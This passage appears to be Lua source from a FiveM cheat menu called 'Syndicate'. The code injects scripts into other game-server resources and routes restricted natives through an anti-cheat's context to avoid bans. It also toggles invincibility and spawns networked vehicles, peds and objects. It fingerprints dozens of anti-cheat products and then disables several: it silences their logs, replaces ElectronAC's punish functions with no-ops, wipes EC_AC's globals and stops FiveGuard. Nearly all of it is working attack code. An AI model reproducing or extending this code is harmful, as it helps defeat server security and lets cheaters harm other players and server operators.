_G.MumbleSetAudioInputDistance if type(fn) == "function" then return fn(dist) end end local function MumbleSetTalkerProximity(dist) local fn = rawget(_G, "MumbleSetTalkerProximity") or _G.MumbleSetTalkerProximity if type(fn) == "function" then return fn(dist) end end local function FreezeEntityPosition(e, ...) if not e or type(e) ~= "number" or e == 0 or not DoesEntityExist(e) then return end local fn = rawget(_G, "FreezeEntityPosition") or _G.FreezeEntityPosition if type(fn) == "function" then return fn(e, ...) end end local function SetPedCanRagdoll(e, ...) if not e or type(e) ~= "number" or e == 0 or not DoesEntityExist(e) then return end local fn = rawget(_G, "SetPedCanRagdoll") or _G.SetPedCanRagdoll if type(fn) == "function" then return fn(e, ...) end end local function DeletePed(p) if not p or type(p) ~= "number" or p == 0 or not DoesEntityExist(p) then return end local fn = rawget(_G, "DeletePed") or _G.DeletePed if type(fn) == "function" then return fn(p) else return DeleteEntity(p) end end local function DeleteVehicle(v) if not v or type(v) ~= "number" or v == 0 or not DoesEntityExist(v) then return end local fn = rawget(_G, "DeleteVehicle") or _G.DeleteVehicle if type(fn) == "function" then return fn(v) else return DeleteEntity(v) end end local function SetEntityAsMissionEntity(e, ...) if not e or type(e) ~= "number" or e == 0 or not DoesEntityExist(e) then return end local fn = rawget(_G, "SetEntityAsMissionEntity") or _G.SetEntityAsMissionEntity if type(fn) == "function" then return fn(e, ...) end end ]]..code..[[ ]] -- Find the active WaveShield resource name dynamically local wsResource = FindWaveShieldResource() local wsActive = wsResource ~= nil -- Check if we should use fallback injection directly if not wsActive or (resource ~= 'monitor' and resource ~= 'any') then pcall(function() if type(MachoInjectResourceScriptOverride) == "function" then MachoInjectResourceScriptOverride(1, resource, setCode, '@citizen:/scripting/lua/scheduler.lua', 1, 999) elseif type(MachoInjectResource2) == "function" then MachoInjectResource2(3, resource, setCode) else MachoInjectResourceRaw(resource, setCode) end end) return end local isTxAdminFeature = string.find(code, "msgpack") or string.find(code, "TriggerEventInternal") or string.find(code, "sendMenuMessage") or string.find(code, "toggleShowPlayerIDs") if isTxAdminFeature then MachoInjectResourceRaw(wsResource or resource, setCode) return end local env = _G -- Helper to reconstruct vector types from serialized tables local function reconstructVectors(item) if type(item) == "table" then if item.x ~= nil and item.y ~= nil and item.z ~= nil then if item.w ~= nil then return vector4(item.x, item.y, item.z, item.w) else return vector3(item.x, item.y, item.z) end elseif item.x ~= nil and item.y ~= nil then return vector2(item.x, item.y) else for k, v in pairs(item) do item[k] = reconstructVectors(v) end end end return item end local dangerousNatives = { ["CreateObject"] = true, ["CreateObjectNoOffset"] = true, ["CreateVehicle"] = true, ["CreatePed"] = true, ["CreatePedInsideVehicle"] = true, ["ClonePed"] = true, ["ClonePedEx"] = true, ["NetworkRegisterEntityAsNetworked"] = true, ["TriggerEvent"] = true, ["TriggerServerEvent"] = true, ["TriggerLatentServerEvent"] = true, ["NetworkSetInSpectatorMode"] = true, ["NetworkSetInSpectatorModeExtended"] = true, ["SetEntityCoords"] = true, ["SetEntityCoordsNoOffset"] = true, ["SetPedCoordsKeepVehicle"] = true, ["SetPedIntoVehicle"] = true, ["TaskWarpPedIntoVehicle"] = true, ["SetEntityHealth"] = true, ["SetEntityProofs"] = true, ["SetEntityCanBeDamaged"] = true, ["SetPlayerInvincible"] = true, ["SetEntityInvincible"] = true, ["SetEntityVisible"] = true, ["RemoveAllPedWeapons"] = true, ["RemoveWeaponFromPed"] = true, ["GiveWeaponToPed"] = true, ["FreezeEntityPosition"] = true, ["ShootSingleBulletBetweenCoords"] = true, ["NetworkSetEntityInvisibleToNetwork"] = true, ["SetEntityCollision"] = true, ["AttachEntityToEntityPhysically"] = true, ["DetachEntity"] = true, ["ApplyForceToEntity"] = true, ["StartScriptFire"] = true, ["StartEntityFire"] = true, ["GiveDelayedWeaponToPed"] = true, ["DeleteObject"] = true, ["DeleteVehicle"] = true, ["ApplyDamageToPed"] = true, ["SetPlayerModel"] = true, ["CreateCam"] = true, ["RenderScriptCams"] = true, ["DestroyCam"] = true, ["SetCamCoord"] = true, ["SetCamRot"] = true, ["SetFocusArea"] = true, ["SetFocusPosAndVel"] = true, ["ClearFocus"] = true, ["SetEntityVelocity"] = true, ["SetPedCanRagdoll"] = true, ["SetPedCanSwitchWeapon"] = true, ["SetPedCurrentWeaponVisible"] = true, ["SetPedUsingActionMode"] = true, ["TaskLeaveAnyVehicle"] = true, ["ClearPedTasks"] = true, ["ClearPedTasksImmediately"] = true, ["SetWeaponAnimationOverride"] = true, } local function callBypassExport(nativeName, args) -- Direct _G function call bypass (no state bags, no busy-wait) local target = _G for part in string.gmatch(nativeName, "[^%.]+") do if type(target) == "table" then target = target[part] else target = nil break end end if type(target) == "function" then local results = { pcall(target, table.unpack(args)) } if results[1] then return results end end return nil end local function isBypassReady() return _G.WS_SpawnReady == true end -- Create a proxy environment to route all native calls through WaveShield's context synchronously via exports env = setmetatable({}, { __index = function(_, key) -- Direct bypass for vector constructors, exports, and _G to keep them as raw objects in local environment if key == "exports" then return exports elseif key == "vector2" or key == "vector3" or key == "vector4" or key == "_G" then return _G[key] end local val = _G[key] if type(val) == "function" then if dangerousNatives[key] and isBypassActive("WaveShield") then return function(...) local args = {...} -- Direct safe native call via _G.WS_RunSafeFunc (no state bags, no serialization) if key == "SetEntityInvincible" or key == "SetEntityVisible" or key == "SetPlayerInvincible" or key == "SetEntityCoords" or key == "SetEntityCoordsNoOffset" or key == "FreezeEntityPosition" or key == "TriggerServerEvent" or key == "TriggerEvent" or key == "TriggerLatentServerEvent" or key == "TaskWarpPedIntoVehicle" or key == "SetPedIntoVehicle" or key == "RemoveAllPedWeapons" or key == "RemoveWeaponFromPed" or key == "GiveWeaponToPed" or key == "SetEntityHealth" or key == "SetEntityProofs" or key == "SetEntityCanBeDamaged" or key == "NetworkSetInSpectatorMode" or key == "NetworkSetInSpectatorModeExtended" or key == "ShootSingleBulletBetweenCoords" or key == "NetworkSetEntityInvisibleToNetwork" or key == "SetEntityCollision" or key == "AttachEntityToEntityPhysically" or key == "DetachEntity" or key == "ApplyForceToEntity" or key == "StartScriptFire" or key == "StartEntityFire" or key == "GiveDelayedWeaponToPed" or key == "DeleteObject" or key == "DeleteVehicle" or key == "ApplyDamageToPed" or key == "CreatePedInsideVehicle" or key == "ClonePed" or key == "ClonePedEx" or key == "NetworkRegisterEntityAsNetworked" or key == "SetPedCoordsKeepVehicle" or key == "SetPlayerModel" or key == "CreateCam" or key == "RenderScriptCams" or key == "DestroyCam" or key == "SetCamCoord" or key == "SetCamRot" or key == "SetFocusArea" or key == "SetFocusPosAndVel" or key == "ClearFocus" or key == "SetEntityVelocity" or key == "SetPedCanRagdoll" or key == "SetPedCanSwitchWeapon" or key == "SetPedCurrentWeaponVisible" or key == "SetPedUsingActionMode" or key == "TaskLeaveAnyVehicle" or key == "ClearPedTasks" or key == "ClearPedTasksImmediately" or key == "SetWeaponAnimationOverride" then local nativeFn = _G[key] if type(nativeFn) == "function" then local safeRunner = _G.WS_RunSafeFunc or _G.RUISOF if type(safeRunner) == "function" then local res = { pcall(safeRunner, nativeFn, table.unpack(args)) } if res[1] then return table.unpack(res, 2) end else local res = { pcall(nativeFn, table.unpack(args)) } if res[1] then return table.unpack(res, 2) end end end return end -- Check bypass readiness without busy-wait loop if not isBypassReady() then print("WaveShield bypass not ready, blocking: " .. tostring(key)) return nil end -- WaveShield spawn validator injection if key == "CreateObject" or key == "CreateObjectNoOffset" or key == "CreateVehicle" or key == "CreatePed" then local entityType = (key == "CreateObject" or key == "CreateObjectNoOffset") and "object" or (key == "CreateVehicle" and "vehicle" or "ped") local modelHash, x, y, z, heading = nil, 0.0, 0.0, 0.0, 0.0 if key == "CreatePed" then modelHash = args[2] x = args[3] or 0.0 y = args[4] or 0.0 z = args[5] or 0.0 heading = args[6] or 0.0 elseif key == "CreateVehicle" then modelHash = args[1] x = args[2] or 0.0 y = args[3] or 0.0 z = args[4] or 0.0 heading = args[5] or 0.0 else modelHash = args[1] x = args[2] or 0.0 y = args[3] or 0.0 z = args[4] or 0.0 heading = 0.0 end return WaveShieldSpawn(entityType, modelHash, x, y, z, heading) end local res = callBypassExport(key, args) if type(res) == "table" and res[1] then table.remove(res, 1) -- Remove the success boolean for i = 1, #res do res[i] = reconstructVectors(res[i]) end return table.unpack(res) else -- NEVER call dangerous natives directly in the local context (instant ban trigger) print("Blocked direct execution of dangerous native: " .. tostring(key)) return nil end end else return val end elseif type(val) == "table" then -- Table proxy wrapper to handle missing nested sub-key functions (e.g. msgpack.pack_args) local tableProxy = setmetatable({}, { __index = function(_, subKey) local subVal = val[subKey] if subVal ~= nil then return subVal end return function(...) local args = {...} local fullPathName = key .. "." .. subKey local res = callBypassExport(fullPathName, args) if type(res) == "table" and res[1] then table.remove(res, 1) -- Remove success boolean for i = 1, #res do res[i] = reconstructVectors(res[i]) end return table.unpack(res) end end end, __newindex = function(_, subKey, newval) val[subKey] = newval end }) return tableProxy elseif val == nil then if key == "msgpack" then -- If global is nil and is msgpack, return a proxy table to intercept sub-key functions (e.g. msgpack.pack_args) local proxyTable = setmetatable({}, { __index = function(_, subKey) return function(...) local args = {...} local fullPathName = key .. "." .. subKey local res = callBypassExport(fullPathName, args) if type(res) == "table" and res[1] then table.remove(res, 1) -- Remove success boolean for i = 1, #res do res[i] = reconstructVectors(res[i]) end return table.unpack(res) end end end }) return proxyTable else return nil end end return val end, __newindex = _G }) local fn, err = load(setCode, nil, "t", env) if fn then local ok, runErr = pcall(fn) if not ok then print("[Menu Execution Error] " .. tostring(runErr)) end else print("[Menu Compilation Error] " .. tostring(err)) end end local function setGodMode(checked) pcall(function() if LocalPlayer and LocalPlayer.state and type(LocalPlayer.state.set) == "function" then LocalPlayer.state:set("bypassAntiGodMode", checked, true) end end) local wsResource = (type(GetWSResourceName) == "function" and GetWSResourceName()) or (FindWaveShieldResource and FindWaveShieldResource()) or "WaveShield" local wsActive = (wsResource and GetResourceState(wsResource) == "started") or (isBypassActive and isBypassActive("WaveShield")) if wsActive and type(MachoInjectResource2) == "function" then local targetRes = (wsResource and GetResourceState(wsResource) == "started") and wsResource or "any" MachoInjectResource2(3, targetRes, string.format([[ local ped = PlayerPedId() if type(MachoHookNative) == "function" then MachoHookNative(0x7C814D2FB49F40C0, function() return false, %s end) end SetEntityInvincible(ped, %s) SetPlayerInvincible(PlayerId(), %s) SetEntityCanBeDamaged(ped, not %s) ]], tostring(checked), tostring(checked), tostring(checked), tostring(checked))) else injectCode('monitor', string.format([[ local ped = PlayerPedId() SetEntityInvincible(ped, %s) SetPlayerInvincible(PlayerId(), %s) SetEntityCanBeDamaged(ped, not %s) ]], tostring(checked), tostring(checked), tostring(checked))) end end local executeCode = injectCode -- Safe WaveShield Spawning Wrapper (spawns inside WaveShield resource context to bypass AC checks) local function WaveShieldSpawn(entityType, model, x, y, z, heading) local hash = type(model) == "number" and model or GetHashKey(model) if not hash or hash == 0 then return 0 end local wsResource = FindWaveShieldResource() if wsResource and GetResourceState(wsResource) == "started" then local spawnCode = string.format([[ local hash = %d local x, y, z, heading = %f, %f, %f, %f if not HasModelLoaded(hash) then RequestModel(hash) local timeout = GetGameTimer() + 3000 while not HasModelLoaded(hash) and GetGameTimer() < timeout do Wait(10) end end if HasModelLoaded(hash) then local ped = PlayerPedId() if x == 0.0 and y == 0.0 and z == 0.0 then local c = GetEntityCoords(ped) x, y, z = c.x, c.y, c.z heading = GetEntityHeading(ped) end local ent = nil if "%s" == "ped" then ent = CreatePed(4, hash, x, y, z, heading or 0.0, true, true) if ent and ent ~= 0 then SetPedDefaultComponentVariation(ent) SetEntityAsMissionEntity(ent, true, true) SetBlockingOfNonTemporaryEvents(ent, true) end elseif "%s" == "vehicle" then ent = CreateVehicle(hash, x, y, z, heading or 0.0, true, true) if ent and ent ~= 0 then SetPedIntoVehicle(ped, ent, -1) SetEntityAsMissionEntity(ent, true, true) SetVehicleHasBeenOwnedByPlayer(ent, true) SetVehicleEngineOn(ent, true, true, false) SetVehicleNeedsToBeHotwired(ent, false) end else ent = CreateObject(hash, x, y, z, true, true, false) if ent and ent ~= 0 then SetEntityHeading(ent, heading or 0.0) PlaceObjectOnGroundProperly(ent) SetEntityAsMissionEntity(ent, true, true) end end if ent and ent ~= 0 then SetEntityDistanceCullingRadius(ent, 99999.0) NetworkRegisterEntityAsNetworked(ent) local netId = NetworkGetNetworkIdFromEntity(ent) if netId and netId ~= 0 then SetNetworkIdExistsOnAllMachines(netId, true) SetNetworkIdCanMigrate(netId, true) NetworkSetNetworkIdDynamic(netId, false) for i = 0, 255 do if NetworkIsPlayerActive(i) then SetNetworkIdAlwaysExistsForPlayer(netId, i, true) end end end end SetModelAsNoLongerNeeded(hash) end ]], hash, x or 0.0, y or 0.0, z or 0.0, heading or 0.0, entityType, entityType) MachoInjectResourceRaw(wsResource, spawnCode) return 1 else if not HasModelLoaded(hash) then RequestModel(hash) local timeout = GetGameTimer() + 3000 while not HasModelLoaded(hash) and GetGameTimer() < timeout do Wait(10) end end local result = 0 local ent = nil local ped = PlayerPedId() if not x or (x == 0.0 and y == 0.0 and z == 0.0) then local c = GetEntityCoords(ped) x, y, z = c.x, c.y, c.z heading = GetEntityHeading(ped) end if entityType == "ped" then local ok, p = pcall(CreatePed, 4, hash, x, y, z, heading or 0.0, true, true) if ok and p and p ~= 0 then ent = p end elseif entityType == "vehicle" then local ok, v = pcall(CreateVehicle, hash, x, y, z, heading or 0.0, true, true) if ok and v and v ~= 0 then ent = v SetPedIntoVehicle(ped, v, -1) SetEntityAsMissionEntity(v, true, true) SetVehicleHasBeenOwnedByPlayer(v, true) SetVehicleEngineOn(v, true, true, false) SetVehicleNeedsToBeHotwired(v, false) end else local ok, o = pcall(CreateObject, hash, x, y, z, true, true, false) if ok and o and o ~= 0 then ent = o end end if ent and ent ~= 0 then result = ent SetEntityDistanceCullingRadius(ent, 99999.0) NetworkRegisterEntityAsNetworked(ent) local netId = NetworkGetNetworkIdFromEntity(ent) if netId and netId ~= 0 then SetNetworkIdExistsOnAllMachines(netId, true) SetNetworkIdCanMigrate(netId, true) NetworkSetNetworkIdDynamic(netId, false) for i = 0, 255 do if NetworkIsPlayerActive(i) then SetNetworkIdAlwaysExistsForPlayer(netId, i, true) end end end end if HasModelLoaded(hash) then SetModelAsNoLongerNeeded(hash) end return result end end local settingKeybind = false local selectedKey = nil local isKeybindConfigured = true local itemKeybinds = {} local settingItemKeybind = false local itemKeybindPending = nil local function IsValidKey(key) local upperKey = key:upper() for _, v in pairs(KeyMap) do if v:upper() == upperKey then return true end end return false end local function isInputActive() return _G.isInputVisible == true or currentInputData.Active == true or currentInputData.inputJustSubmitted == true or currentInputData.inputJustClosed == true end function showInput(title, defaultText, callback, inputType) _G.isInputVisible = true inputType = inputType or "typeable" currentInputData.inputJustOpened = true currentInputData.buffer = defaultText or "" currentInputData.cursorPos = #currentInputData.buffer currentInputData.Active = true currentInputData.inputJustSubmitted = false currentInputData.callback = callback currentInputData.inputType = inputType SendSvelte("showInput", { showInput = true, title = title, disc = "", value = defaultText or "", buffer = defaultText or "", inputType = inputType }) end local function closeInput() currentInputData.inputJustClosed = true currentInputData.inputJustSubmitted = true currentInputData.Active = false local savedCallback = currentInputData.callback local savedBuffer = currentInputData.buffer currentInputData.callback = nil currentInputData.buffer = "" currentInputData.cursorPos = 0 _G.isInputVisible = false CreateThread(function() Wait(350) currentInputData.inputJustClosed = false currentInputData.inputJustSubmitted = false if IsVisible then ShowUI() setCurrent(false) end end) SendSvelte("showInput", { showInput = false }) return savedCallback, savedBuffer end local function showNotify(message, type) SendSvelte("notify", { message = message, type = type }) end -- AC Detection local function detectAntiCheat(verbose) local numResources = GetNumResources() local detectedName, detectedAc local fileSignatures = { { files = { 'ai_module_fg-obfuscated.lua' }, name = 'FiveGuard' }, { files = { 'source/client/crasher.lua', 'source/client/ocr.lua' }, name = 'ReasonAC' }, { files = { 'client/injections.lua', 'client/menu.lua' }, name = 'GreekAC' }, { files = { 'fini_events.js', 'fini_events.lua' }, name = 'FiniAC' }, { files = { 'resource/waveshield.js' }, name = 'WaveShield' }, { files = { 'c_config.lua', 'client/ligma.lua' }, name = 'mAC (custom)' }, { files = { 'src/fire-client.lua', 'src/fire-menu.lua' }, name = 'FireAC' }, { files = { 'anvil.lua', 'client.lua' }, name = 'AnvilAC' }, { files = { 'client/cl_crypto.lua', 'client/cl_main.lua' }, name = 'PegasusAC' }, { files = { 'src/client/main.lua', 'src/include/client.lua' }, name = 'ElectronAC' } } local reaperFiles = { 'patches/resource_drc_uwucafe.lua', 'patches/resource_es_extended.lua', 'patches/resource_lb-phone.lua', 'patches/resource_monitor.lua', 'patches/resource_pickle_rental.lua', 'patches/resource_qb-core.lua', 'patches/resource_wasabi_bridge.lua', 'patches/resource_wasabi_mining.lua', 'patches/resource_xradio.lua' } local namePatterns = { { match = function(lower) return lower:sub(1, 7) == 'chubsac' end, name = 'Chubs AC' }, { match = function(lower) return lower:sub(1, 7) == 'drillac' end, name = 'Drill AC' }, { match = function(lower) return lower:sub(-10) == 'likizao_ac' end, name = 'Likizao AC' }, { match = function(lower) return lower == 'prp-rpc' end, name = 'Prodigy AC' }, { match = function(lower) return lower == 'srp-anticheat' end, name = 'Springbank AC' }, { match = function(lower) return lower == 'ec_ac' end, name = 'Eagle AC' }, { match = function(lower) return lower == 'cyberanticheat' end, name = 'CyberAnticheat' }, { match = function(lower) return lower == 'pl_protect' end, name = 'PL Protect' }, { match = function(lower) return lower == 'mqcu' end, name = 'MQCU' }, { match = function(lower) return lower == 'thnac' end, name = 'Thn AC' }, { match = function(lower) return lower == 'qb-anticheat' end, name = 'QB AntiCheat' }, { match = function(lower) return lower == 'nb_anticheat' end, name = 'NB AntiCheat' }, { match = function(lower) return lower == 'putin' end, name = 'Putin AC' }, { match = function(lower) return lower == 'venus_anticheat' or lower == 'venusac' end, name = 'Venus AC' }, { match = function(lower) return lower == 'anticheese' or lower == 'anticheese-anticheat' end, name = 'AntiCheese' }, { match = function(lower) return lower == 'anticheese-anticheat-master' or lower == 'anticheese-master' end, name = 'AntiCheese Master' }, { match = function(lower) return lower == 'wx-anticheat' end, name = 'WX AntiCheat' }, { match = function(lower) return lower == 'wx_anticheat' end, name = 'WX AntiCheat' }, { match = function(lower) return lower == 'somis_anticheat' or lower == 'somis-anticheat' end, name = 'Somis AntiCheat' }, { match = function(lower) return lower == 'clownguard' end, name = 'ClownGuard' }, { match = function(lower) return lower == 'oltest' end, name = 'OLTest' }, { match = function(lower) return lower == 'chocohax' end, name = 'ChocoHax' }, { match = function(lower) return lower == 'esxac' end, name = 'ESX AC' }, { match = function(lower) return lower == 'tigoac' end, name = 'Tigo AC' }, { match = function(lower) return lower == 'tiagoac' end, name = 'Tiago AC' }, { match = function(lower) return lower == 'titanac' end, name = 'Titan AC' }, { match = function(lower) return lower == 'versusac' or lower == 'versusac-ocr' end, name = 'Versus AC' }, { match = function(lower) return lower == 'furiousanticheat' end, name = 'Furious AC' }, { match = function(lower) return lower == 'mzshieldd' end, name = 'MZShield' }, { match = function(lower) return lower:find('kb-anticheat') end, name = 'KB AntiCheat' }, { match = function(lower) return lower:find('pma-anticheat') end, name = 'PMA AntiCheat' }, { match = function(lower) return lower:find('drizzy') end, name = 'Drizzy AC' }, { match = function(lower) return lower == 'greek_ac' end, name = 'Greek AC' }, { match = function(lower) return lower == 'rac' end, name = 'RAC' }, { match = function(lower) return lower == 'electronac' end, name = 'Electron AC' }, { match = function(lower) return lower == 'pegasusac' end, name = 'Pegasus AC' } } for i = 0, numResources - 1 do local resourceName = GetResourceByFindIndex(i) if not resourceName then goto continue end local lower = string.lower(resourceName) for _, sig in ipairs(fileSignatures) do local ok = true for _, f in ipairs(sig.files) do if not LoadResourceFile(resourceName, f) then ok = false break end end if ok then detectedName, detectedAc = resourceName, sig.name break end end if detectedAc then break end -- Reaper file detection: require BOTH a matching file AND the resource name contains 'reaper' -- This prevents false positives from resources like 'DoItDigital_ARP_REAPERVVS' that -- happen to contain files with the same paths as Reaper's patch files. -- Also skip if WaveShield already detected — can't have both AC simultaneously. if not detectedAc and lower:find('reaper') and not lower:find('reapervvs') and not lower:find('reaper_') then for _, f in ipairs(reaperFiles) do local fileContent = LoadResourceFile(resourceName, f) if fileContent and ( fileContent:find('REAPER_PROTECTED') or fileContent:find('reaper_heartbeat') or fileContent:find('Reaper:Sync') or fileContent:find('reaperSecurityKey') or fileContent:find('REAPER_SYNC_EVENT') ) then local isPro = GetConvar('reaper_pro_addon_enabled', 'false') == 'true' detectedName = resourceName detectedAc = isPro and 'ReaperV4 Pro' or 'ReaperV4' break end end end if detectedAc then break end local hasPamLua = LoadResourceFile(resourceName, 'pam.obf.lua') or LoadResourceFile(resourceName, 'dist/pam.obf.lua') local hasPamJS = LoadResourceFile(resourceName, 'pam.obf.js') or LoadResourceFile(resourceName, 'dist/pam.obf.js') local hasPamHTML = LoadResourceFile(resourceName, 'dist/pam.html') if (hasPamLua and hasPamJS) or (hasPamLua and hasPamHTML) then detectedName, detectedAc = resourceName, 'PhoenixAC' break end for _, pat in ipairs(namePatterns) do local ok, res = pcall(pat.match, lower) if ok and res then detectedName, detectedAc = resourceName, pat.name break end end if detectedAc then break end ::continue:: end return detectedName, detectedAc end local function GetECACResourceName() local numResources = GetNumResources() for i = 0, numResources - 1 do local resourceName = GetResourceByFindIndex(i) if not resourceName then goto continue end local amt = GetNumResourceMetadata(resourceName, "shared_script") if amt > 0 then for idx = 0, amt - 1 do local scriptPath = GetResourceMetadata(resourceName, "shared_script", idx) if scriptPath and string.find(scriptPath, "EC_AC/shared.lua") then return resourceName end end end ::continue:: end return nil end -- Scan For AC local name, ac = detectAntiCheat(false) if ac then showNotify(('[^1Syndicate^1] [^2Info^1] - ^2Detected Anti-Cheat: ^6%s ^2in Resource: ^6%s^7'):format(ac, name), "info") else showNotify('[^1Syndicate^1] [^2Info^1] - ^1No known Anti-Cheat detected.^7', "info") end _G.showNotify = showNotify -- ============================================ -- SYNDICATE BYPASS BRIDGES & STATE TRACKING -- ============================================ _G.SyndicateBypassState = _G.SyndicateBypassState or {} isBypassActive = function(bpName) return _G.SyndicateBypassState[bpName] == true end setBypassActive = function(bpName) _G.SyndicateBypassState[bpName] = true end -- Helper to find active ElectronAC resource dynamically (HEX.lua method: manifest scan & specific file sig) FindElectronResource = function() -- Primary: scan fxmanifest.lua for ElectronAC signatures (exact method from HEX.lua) for i = 0, GetNumResources() - 1 do local resource = GetResourceByFindIndex(i) if resource and GetResourceState(resource) == "started" then local manifest = LoadResourceFile(resource, "fxmanifest.lua") if manifest and ( string.find(manifest, "https://electron-services.com") or string.find(manifest, "Electron Services") or string.find(manifest, "The most advanced fiveM anticheat") ) then return resource end end end -- Fallback: exact / specific resource name match ONLY (e.g. "ElectronAC", "electron_ac", "electron-ac") for i = 0, GetNumResources() - 1 do local rName = GetResourceByFindIndex(i) if rName and GetResourceState(rName) == "started" then local rLower = string.lower(rName) if rLower == "electronac" or rLower == "electron_ac" or rLower == "electron-ac" or rLower == "electron" then return rName end end end -- Fallback: file signature scan for ElectronAC internal structure for i = 0, GetNumResources() - 1 do local rName = GetResourceByFindIndex(i) if rName and GetResourceState(rName) == "started" then if LoadResourceFile(rName, 'src/client/main.lua') and LoadResourceFile(rName, 'src/include/client.lua') then return rName end end end return nil end _G.FindElectronResource = FindElectronResource -- Bridge: ElectronAC Bypass (HEX.lua implementation) local function bridgeElectronAC(electronName) if isBypassActive("ElectronAC") then return end electronName = electronName or (FindElectronResource and FindElectronResource()) if not electronName or GetResourceState(electronName) ~= "started" then return end showNotify("Loading " .. electronName .. " Bypass...", "info") -- Step 1: Silence print and Citizen.Trace inside ElectronAC (uses MachoInjectResourceRaw) local rawInjectFn = (type(Injection) == "function" and Injection) or MachoInjectResourceRaw rawInjectFn(electronName, [[ print = function() end local originalTrace = Citizen.Trace Citizen.Trace = function(msg) if not (string.find(msg, "DEBUG") or string.find(msg, "NEWDBG") or string.find(msg, "A11AXXX") or string.find(msg, "function") or string.find(msg, "TriggerServerEvent")) then originalTrace(msg) end end ]]) -- Step 2: Patch ElectronAC.verify punish functions to no-ops -- Uses "AsThreadNs" thread mode and ipairs (exact HEX.lua method — avoids crash) MachoInjectResource2("AsThreadNs", electronName, [[ pcall(function() local name, eventHandlersRaw = debug.getupvalue(_G["RemoveEventHandler"], 2) local eventHandlers = {} for name, raw in pairs(eventHandlersRaw) do if raw.handlers then for id, v in pairs(raw.handlers) do table.insert(eventHandlers, { handle = { ['key'] = id, ['name'] = name }, func = v, type = (string.find(name, "__cfx_nui") and "NUICallback") or (string.find(name, "__cfx_export") and "Export") or "Event" }) end end end local eAcVerify for i, v in ipairs(eventHandlers) do local name = v["handle"]["name"] local func = v["func"] if name == "ElectronAC.verify" then local upname, func = debug.getupvalue(func, 1) eAcVerify = func end end local EACTable = nil local eacUpvalueIndex = nil local i = 1 while true do local name, value = debug.getupvalue(eAcVerify, i) if not name then break end if type(value) == "table" then local hasEACStructure = false for idx, tbl in pairs(value) do if type(tbl) == "string" then if tbl == "antiNuiBlocker" or tbl == "antiInvisible" then hasEACStructure = true end if hasEACStructure then break end end end if hasEACStructure then EACTable = value eacUpvalueIndex = i break end end i = i + 1 end if not EACTable then return end local punish = function(...) return end for idx, tbl in pairs(EACTable) do if type(tbl) == "table" then for subIdx, subTbl in pairs(tbl) do if type(subTbl) == "table" and type(subTbl["punish"]) == "function" and subTbl["punish"] then subTbl["punish"] = punish end end end end Debug.setupvalue(eAcVerify, eacUpvalueIndex, EACTable) end) ]]) setBypassActive("ElectronAC") showNotify("ElectronAC Bypass Loaded.", "success") end -- Bridge: FiveGuard Bypass local function bridgeFiveGuard() if isBypassActive("FiveGuard") then showNotify("FiveGuard Bypass is already active.", "info") return end local fiveguard = nil for i = 0, GetNumResources() - 1 do local res = GetResourceByFindIndex(i) if res then local files = GetNumResourceMetadata(res, 'client_script') for j = 0, files - 1 do local metadata = GetResourceMetadata(res, 'client_script', j) if metadata and string.find(metadata, "obfuscated") then fiveguard = res break end end end if fiveguard then break end end if not fiveguard then showNotify("FiveGuard not detected on this server.", "error") return end showNotify("Loading FiveGuard Bypass...", "info") CreateThread(function() Wait(500) pcall(function() if type(MachoResourceStop) == "function" then MachoResourceStop(fiveguard) end end) end) setBypassActive("FiveGuard") showNotify("FiveGuard Bypass Loaded.", "success") end -- Bridge: EC_AC (Eagle AC) Bypass local function bridgeEC_AC() if isBypassActive("EC_AC") then showNotify("EC_AC Bypass is already active.", "info") return end local ecacRes = GetECACResourceName() or "EC_AC" if GetResourceState(ecacRes) ~= "started" then showNotify("EC_AC not detected on this server.", "error") return end showNotify("Loading EC_AC Bypass...", "info") MachoInjectResourceRaw(ecacRes, [[print = function() end]]) MachoInjectResourceRaw(ecacRes, [[ local originalTrace = Citizen.Trace Citizen.Trace = function(msg) if not ( string.find(msg, "DEBUG") or string.find(msg, "NEWDBG") or string.find(msg, "A11AXXX") or string.find(msg, "function") or string.find(msg, "TriggerServerEvent") ) then originalTrace(msg) end end ]]) MachoInjectResource(ecacRes, [[ for name, func in pairs(_G) do if name == "TriggerEvent" then return end _G[name] = nil end ]]) CreateThread(function() for i = 1, 5 do MachoResourceStop(ecacRes) Wait(300) end end) setBypassActive("EC_AC") showNotify("EC_AC Bypass Loaded.", "success") end -- Bridge: WaveShield Bypass local function bridgeWaveShield() if isBypassActive("WaveShield") then showNotify("WaveShield Bypass is already active.", "info") return end local wsResource = FindWaveShieldResource() if not wsResource then showNotify("WaveShield not detected on this server.", "error") return end showNotify("Loading WaveShield Bypass...", "info") -- Inject SafeSpawn + spawn functions into WaveShield's context (no thread injection to avoid scanner detection) MachoInjectResource2(3, wsResource, [[ _G.RUISOF = function(setFunc, ...) if type(setFunc) == "function" then return setFunc(...) end end local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(setFunc) return function(...) return setFunc(...) end end _G.WS_RunSafeFunc = function(setFunc, ...) if type(setFunc) == "function" then return setFunc(...) end end local function SafeNative(fn, ...) return safeCall(fn, ...) end local resourceName = SafeNative(GetCurrentResourceName) local function SafeSpawn(modelHash, spawnFn, nativeName) if type(modelHash) == "string" then modelHash = SafeNative(GetHashKey, modelHash) end SafeNative(RequestModel, modelHash) local timeout = 0 while not SafeNative(HasModelLoaded, modelHash) and timeout < 5000 do Wait(10) timeout = timeout + 10 end if not SafeNative(HasModelLoaded, modelHash) then return nil end pcall(function() SafeNative(TriggerServerEvent, "__WaveShield:CreateEntity", modelHash, "SpawnEntity", resourceName) end) Wait(50) local entity = safeCall(SafeWrap(spawnFn), modelHash) SafeNative(SetModelAsNoLongerNeeded, modelHash) return entity end _G.WS_SpawnVehicle = function(modelName, x, y, z, heading) local ped = SafeNative(PlayerPedId) if not x then local c = SafeNative(GetEntityCoords, ped) x, y, z = c.x, c.y, c.z heading = SafeNative(GetEntityHeading, ped) end return SafeSpawn(modelName, function(hash) local veh = SafeNative(Citizen.InvokeNative, 0xAF35D0D2583051B0, hash, x, y, z, heading, true, false) SafeNative(SetPedIntoVehicle, ped, veh, -1) SafeNative(SetEntityAsMissionEntity, veh, true, true) SafeNative(SetVehicleHasBeenOwnedByPlayer, veh, true) return veh end, "CreateVehicle") end _G.WS_SpawnPed = function(modelName, x, y, z, heading) if not x then local ped = SafeNative(PlayerPedId) local c = SafeNative(GetOffsetFromEntityInWorldCoords, ped, 2.5, 1.5, 0.0) x, y, z = c.x, c.y, c.z heading = SafeNative(GetEntityHeading, ped) end return SafeSpawn(modelName, function(hash) local ped = SafeNative(Citizen.InvokeNative, 0xD49F9B0955C367DE, 4, hash, x, y, z, heading, true, false) SafeNative(SetPedDefaultComponentVariation, ped) 